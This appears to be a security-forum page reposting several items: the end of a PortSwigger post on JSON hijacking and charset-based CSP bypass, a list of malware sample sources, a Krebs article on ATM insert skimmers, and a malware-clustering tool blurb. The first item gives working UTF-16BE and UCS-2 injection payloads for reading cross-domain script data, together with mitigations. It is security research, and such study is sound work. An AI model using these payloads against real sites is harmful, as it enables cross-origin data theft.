HTML><html> <head> <title>Test</title> <?php echo $_GET['x']; ?> </head> <body> </body> </html> Notice there is no new line after the doctype, the HTML is constructed in such a way that it is valid JavaScript, the characters after the injection don't matter because we inject a trailing single line JavaScript comment and the new lines are converted too. Note that there is no charset declared in the document, this isn't because the charset matters it's because the quotes and attributes of the meta element will break the JavaScript. The payload looks like this (note the tab is required in order to construct a valid variable) <script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script> Note: This has been patched on later versions of PHP, it defaults to the UTF-8 charset for text/html content type therefore prevents attack. However I've simply added a blank charset to the JSON response so it still works on the lab. CSP bypass using UTF-16BE PoC Other charsets I fuzzed every browser and charset. Edge was pretty useless to fuzz because as mentioned previously does some sort of charset sniffing and if you don't have certain characters in the document it won't use the charset. Chrome was very accommodating especially because the dev tools let you filter the results of console by a regex. I found that the ucs-2 charset allowed you to import XML data as a JS variable but it is even more brittle than the UTF-16BE. Still I managed to get the following XML to import correctly on Chrome. <root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window) && typeof window===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root> The above no longer works in Chrome but I've included it as another example. UTF-16 and UTF-16LE looked useful too since the output of the script looked like a JavaScript variable but they caused invalid syntax errors when including a doctype, xml or a JSON string. Safari had a few interesting results too but in my tests I couldn't get it produce valid JavaScript. It might be worth exploring further but it will be difficult to fuzz since you'd need to encode the characters in the charset you are testing in order to produce a valid test. I'm sure the browser vendors will be able to do that more effectively. CSS You might think this technique could be applied to CSS and in theory it should, since any HTML will be converted into non-ASCII invalid CSS selector but in reality browsers seem to look at the document to see if there's a doctype header before parsing the CSS with the selected charset and ignore the stylesheet, making a self injected stylesheet fail. Edge, Firefox and IE in standards mode also seem to check the mime type, Chrome says the stylesheet was interpreted but at least in my tests it didn't seem that way. Mitigation The charset attacks can be prevented by declaring your charset such as UTF-8 in an HTTP content type header. PHP 5.6 also prevent these attacks by declaring a UTF-8 charset if none is set in the content-type header. Conclusion Edge, Safari and Chrome contain bugs that will allow you to read cross domain undeclared variables. You can use different charsets to bypass CSP and steal script data. Even without proxies you can steal data if you can control some of the JSON response. Enjoy - @garethheyes Posted by Gareth Heyes at 10:03 AM Sursa: http://blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html

Malware Sample Sources for Researchers Malware researchers have the need to collect malware samples to research threat techniques and develop defenses. Researchers can collect such samples using honeypots. They can also download samples from known malicious URLs. They can also obtain malware samples from the following sources: Contagio Malware Dump: Free; password required Das Malwerk: Free FreeTrojanBotnet: Free; registration required KernelMode.info: Free; registration required MalShare: Free; registration required Malware.lu’s AVCaesar: Free; registration required MalwareBlacklist: Free; registration required Malware DB: Free Malwr: Free; registration required Open Malware: Free theZoo aka Malware DB: Free Virusign: Free VirusShare: Free Be careful not to infect yourself when accessing and experimenting with malicious software! My other lists of online security resources outline Automated Malware Analysis Services and On-Line Tools for Malicious Website Lookups. Also, take a look at tips sharing malware samples with other researchers. Updated November 28, 2016 Sursa: https://zeltser.com/malware-sample-sources/

ATM Insert Skimmers: A Closer Look KrebsOnSecurity has featured multiple stories about the threat from ATM fraud devices known as “insert skimmers,” wafer-thin data theft tools made to be completely hidden inside of a cash’s machine’s card acceptance slot. For a closer look at how stealthy insert skimmers can be, it helps to see videos of these things being installed and removed. Here’s a look at promotional sales videos produced by two different ATM insert skimmer peddlers. Traditional ATM skimmers are fraud devices made to be placed over top of the cash machine’s card acceptance slot, usually secured to the ATM with glue or double-sided tape. Increasingly, however, more financial institutions are turning to technologies that can detect when something has been affixed to the ATM. As a result, more fraudsters are selling and using insert skimming devices — which are completely hidden from view once inserted into an ATM. The fraudster demonstrating his insert skimmer in the short video above spends the first half of the demo showing how a regular bank card can freely move in and out of the card acceptance slot while the insert skimmer is nestled inside. Toward the end of the video, the scammer retrieves the insert skimmer using what appears to be a rather crude, handmade tool thin enough to fit inside a wallet. A sales video produced by yet another miscreant in the cybercrime underground shows an insert skimmer being installed and removed from a motorized card acceptance slot that has been fully removed from an ATM so that the fraud device can be seen even while it is inserted. In a typical setup, insert skimmers capture payment card data from the magnetic stripe on the backs of cards inserted into a hacked ATM, while a pinhole spy camera hidden above or beside the PIN pad records time-stamped video of cardholders entering their PINs. The data allows thieves to fabricate new cards and use PINs to withdraw cash from victim accounts. Covering the PIN pad with your hand blocks any hidden camera from capturing your PIN — and hidden cameras are used on the vast majority of the more than three dozen ATM skimming incidents that I’ve covered here. Shockingly, few people bother to take this simple and effective step, as detailed in this skimmer tale from 2012, wherein I obtained hours worth of video seized from two ATM skimming operations and saw customer after customer walk up, insert their cards and punch in their digits — all in the clear. Once you understand how stealthy these ATM fraud devices are, it’s difficult to use a cash machine without wondering whether the thing is already hacked. The truth is most of us probably have a better chance of getting physically mugged after withdrawing cash than encountering a skimmer in real life. However, here are a few steps we can all take to minimize the success of skimmer gangs. -Cover the PIN pad while you enter your PIN. -Keep your wits about you when you’re at the ATM, and avoid dodgy-looking and standalone cash machines in low-lit areas, if possible. -Stick to ATMs that are physically installed in a bank. Stand-alone ATMs are usually easier for thieves to hack into. -Be especially vigilant when withdrawing cash on the weekends; thieves tend to install skimming devices on a weekend — when they know the bank won’t be open again for more than 24 hours. -Keep a close eye on your bank statements, and dispute any unauthorized charges or withdrawals immediately. If you liked this piece and want to learn more about skimming devices, check out my series All About Skimmers. Sursa: https://krebsonsecurity.com/2016/11/atm-insert-skimmers-a-closer-look/

Cosa Nostra Cosa Nostra is an open source software clustering toolkit with a focus on malware analysis. It can create phylogenetic trees of binary malware samples that are structurally similar. It was initially released during SyScan360 Shanghai (2016). Getting started Required 3rd party tools In order to use Cosa Nostra you will need the source code, of course, a 2.7 version of Python, as well as one of the following tools in order to perform code analysis: Pyew Written in Python, it supports analysis of PE, ELF, Bios and Boot files for x86 or x86_64. IDA Written in C++. It supports analysing a plethora of executable types that you probably never even heard about. Commercial product. Radare2 Written in pure C. Same as with IDA, with support for extremely rare CPUs and binary formats. Also, it's open source! Link: https://github.com/joxeankoret/cosa-nostra

Whoever made this made my day. Thanks for sharing!

Am dat de un site fain unde puteți învăța CSS într-un mod practic: http://cssreference.io/ Mai multe detalii: http://thenextweb.com/dd/2016/11/27/cssreference-io-gorgeous-visual-guide-css/